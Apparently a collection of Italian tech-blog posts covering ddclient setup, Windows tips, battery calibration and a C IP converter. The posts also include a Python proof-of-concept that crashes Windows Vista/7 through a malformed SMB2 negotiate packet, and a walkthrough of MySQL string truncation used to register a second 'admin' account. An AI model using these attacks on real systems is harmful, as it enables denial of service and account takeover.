Il mio router, dopo una vita rispettabile e dignitosa, comincia a dare i primi segni di cedimento e alcune feature semplicemente smettono di funzionare.

Una di queste è il supporto client i DNS dinamici: servizi che ci consentono di avere un hostname valido anche non avendo un IP statico, come nel caso delle ADSL residenziali. Tuttavia ho un server linux dietro il firewall, quindi perchè non utilizzarlo per aggiornare i record di dyndns.org?

Ecco come fare in una distribuzione debian like (io uso ubuntu server): sudo apt-get install ddclient

Aprite il file di configurazione /etc/ddclient.conf con il vostro editor di testo preferito ed incollate:

pid=/var/run/ddclient.pid
protocol=dyndns2
use=web
server=members.dyndns.org
login=<username>
password=’<password>’
<your hostname>

Sostituite username, password e hostname ed avviate il servizio con:

sudo /etc/init.d/ddclient start

Ecco fatto! Divertitevi con il vostro nuovo servizio!

State lavorando in un documento e volete eliminare tutto il rumore di fondo delle altre finestre?

Premente Windows + Home (inizio in alcune tastiere italiane) per nascondere tutte le finestre non attive, mantenendo l’attuale visualizzata.

Una volta terminato il lavoro ripremete Windows + Home per ripristinare le finestre nella posizione iniziale.

Il nuovo driver che si occupa di gestire il protocollo SMB non gestisce propriamente gli header SAMBA per la funzionalità NEGOTIATE PROTOCOL REQUEST, la prima query SMB inviata dai client al server ed utilizzata per conoscere il protocollo da utilizzare.

Poche righe di python sono sufficienti:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()

s.connect(host)
s.send(buff)
s.close()

Full disclosure – Vista and 7 BSOD

Un piccolo accorgimento che farà odiare molto meno i rilasci frequenti

Sotto linux c’è il comodo comando uptime che fa tutto quello di cui avevo bisogno ma sotto Windows la cosa è leggermente più complessa. Se non si conoscono gli strumenti adatti

Per conoscere data e ora dell’ultimo avvio aprire una console (prompt dei comandi) dal menu Start.

Fate Esegui e poi cmd.exe

Scrivere ora il seguente comando:

systeminfo | find “Tempo di avvio”

Ecco fatto, data e ora di avvio in bella vista

Edit del post

Come segnala giustamente Francesco sotto Windows XP SP3 la sintassi corretta:

systeminfo | find “Tempo di funzionamento sistema”

La vulnerabilità è dovuta ad una “feature” implementata da MySQL per velocizzare i confronti tra le stringhe e ad una soluzione utilizzata per inserire dati troppo estesi per la dimensione della colonna: il troncamento.
Nella configurazione di default viene solamente emesso un warning, che spesso viene ignorato dalle applicazioni che usano il database e quindi non indicano il possibile problema. Utilizzando la configurazione è possibile convertire gli avvisi in errori impostando il SQL mode STRICT_ALL_TABLES, tuttavia questo renderà inutilizzabili quasi tutte le applicazioni web.

Ma vediamo la vulnerabilità…

Per il confronto tra stringhe l’impostazione di default di MySQL non prevede l’uso della modalità binaria e quindi del confronto bit a bit. Vengono infatti utilizzate tecniche più rilassate che effettuano l’operazione di trailing trim sulle stringhe. In pratica scrivere ‘software engineer’ e ‘software engineer     ‘ è assolutamente lo stesso in un confronto con le impostazioni predefinite.

Inserire un nuovo utente nel sistema comporta ovviamente la rilevazione di eventuali nomi utente già immessi e quindi una query del genere:

SELECT * FROM utente WHERE nomeutente = ‘admin   ‘;

Per il discorso fatto prima il sistema cerca ‘admin’ e la query è equivalente a:

SELECT * FROM utente WHERE nomeutente = ‘admin’;

Ricordiamo però il discorso del troncamento delle stringhe e supponiamo che nomeutente sia di lunghezza massima 8.
Se noi inserissimo il nome utente ‘admin   troncami’, tutti i caratteri che compongono la parola ‘troncami’ verrebbero rimossi e la query risulterebbe equivalente a quanto visto.

Facciamo un passo indietro. Al fine di velocizzare ulteriormente le ricerche su stringhe MySQL controlla prima la lunghezza della stringa inserita con la larghezza della colonna.

Nel nostro caso ‘admin   troncami’ ha lunghezza 16 mentre il campo nomeutente è di dimensione 8. Di conseguenza la query di selezione per controllare se il nome utente inserito sia presente non ha successo ed il sistema procede con l’inserimento.

A questo punto viene eseguita la query di insert:

INSERT INTO utente (nomeutente, password) VALUES (‘admin   troncami’, ‘miapassinmd5′);

che però diventa

INSERT INTO utente (nomeutente, password) VALUES (‘admin’, ‘miapassinmd5′);

A questo punto ho due utenti admin nel database e posso entrare tranquillamente.

La calibrazione consente di far leggere al notebook la reale capacità della batteria e non quella presunta.
Per procedere alla calibrazione è necessario caricare al massimo la batteria e lasciare l’alimentatore collegato per almeno un paio d’ore. Fatto ciò staccate l’alimentatore è utilizzate il portatile finchè questo passa automaticamente alla modalità standby (o si spegne a seconda delle impostazioni energetiche). Lasciate il portatile in questo stato per almeno 8 ore, in modo da favorire la scarica completa. A questo punto caricate il portatile e avete terminato la procedura.

Spesso con questa procedura si recuperano minuti di autonomia preziosi.

Se siete felici possessori di macbook (pro) potete inoltre adottare questi accorgimenti:

• Resettare la PRAM
  All’avvio tenete premuto Mela + Opzione + P + R
• Resettare la PMU
  Togliete alimentatore e batteria e tenete premuto il pulsante di avvio per 10 seconid.

• Eseguite “regedit”
• Cercate “Servizi Boot Camp”
• Modificate la chiave “Language” con il valore decimale “1033″
• Eseguite l’installer per BootCamp 2.1

Et voilà!

La conversione è piuttosto triviale in quanto basta fare il parsing di una stringa abbinato di uno shift di 8 bit per volta partendo ovviamente dal contrario.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/**
* IP Address to INT / HEX Converter
* by Eduard Roccatello <eduard@roccatello.it>
*/
int main (int argc, char **argv)
{
int ip_bytes[4];
char *tok;

if (argc < 2)
{
fprintf(stderr, “Usage: iptolong xxx.yyy.www.zzz\n”);
return -1;
}

memset(&ip_bytes, 0, sizeof(ip_bytes));
tok = strtok(argv[1], “.”);
int i = 0;
while (tok != NULL && i < 4)
{
ip_bytes[i] = atoi(tok);
tok = strtok(NULL, “.”);
i++;
}

long ip_long = 0;
for (i = 0; i < 4; i++)
{
ip_long += ip_bytes[3-i] << (i * 8);
}

fprintf(stdout, “int: %u\nhex: %x\n”, ip_long, ip_long);
return 0;
}

Salvate su file e compilate con un banalissimo gcc -o iptolong iptolong.c

Happy hacking